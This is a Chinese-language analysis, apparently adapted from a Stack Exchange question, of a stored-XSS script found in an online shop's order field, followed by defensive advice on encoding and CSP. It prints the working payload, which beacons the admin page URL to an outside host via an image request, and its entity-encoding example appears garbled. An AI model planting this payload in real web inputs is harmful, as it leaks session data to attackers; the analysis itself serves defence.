电商平台订单字段嵌入的注入脚本（Injection Script）功能分析咨询

让我来拆解下这个藏在订单信息里的恶意脚本，帮你彻底搞清楚它的意图：

核心行为拆解 #

先看这个脚本的完整逻辑：

(function(){
  (new Image()).src='http://jb.gy/index.php?do=api&id=g&location='+escape(
    (function(){
      try{return document.location.href}catch(e){return ''}
    })()
  )
})()

它的核心动作非常明确：

• 悄悄创建一个Image对象，利用浏览器加载图片资源的特性，向恶意服务器发送一个HTTP请求（这种方式不需要用户交互，也不会在页面上留下明显痕迹，隐蔽性极强）
• 把当前页面的URL地址通过escape()编码后，作为location参数附在请求里一起发送
• 加了try-catch异常捕获，就算获取URL失败（比如触发某些浏览器安全限制），也不会报错暴露自己的存在

攻击者的真实目的 #

1. 验证XSS漏洞有效性：这大概率是攻击者在测试你的网店后台系统是否存在存储型XSS漏洞——他们把恶意脚本嵌入订单信息，就是想看看当你在后台查看订单时，脚本会不会被浏览器解析执行。一旦脚本成功发送请求，攻击者就确认了这个漏洞是可利用的。
2. 窃取敏感页面信息：如果脚本成功运行，它会把你后台订单页面的URL发送给攻击者。这个URL里可能包含会话ID、订单ID、甚至后台路径等敏感信息，攻击者可以利用这些信息进一步窃取你的管理员权限，或者篡改订单数据。
3. 收集系统情报：URL里的路径、参数可能泄露你的网店系统版本、后台架构等信息，攻击者可以针对性地准备后续的攻击手段。

后续防护建议 #

既然你已经移除了当前脚本的运行条件，接下来可以做这些加固：

• 对所有用户输入的内容（姓名、地址、备注等）做HTML实体编码，把<转成<、>转成>，让脚本标签变成普通文本，不会被浏览器解析执行
• 给后台页面配置内容安全策略（CSP），限制只能加载可信域名的资源，从根源上阻止外部恶意脚本的执行
• 定期排查系统的输入验证逻辑，避免类似的存储型注入漏洞

内容的提问来源于stack exchange，提问作者A Bomb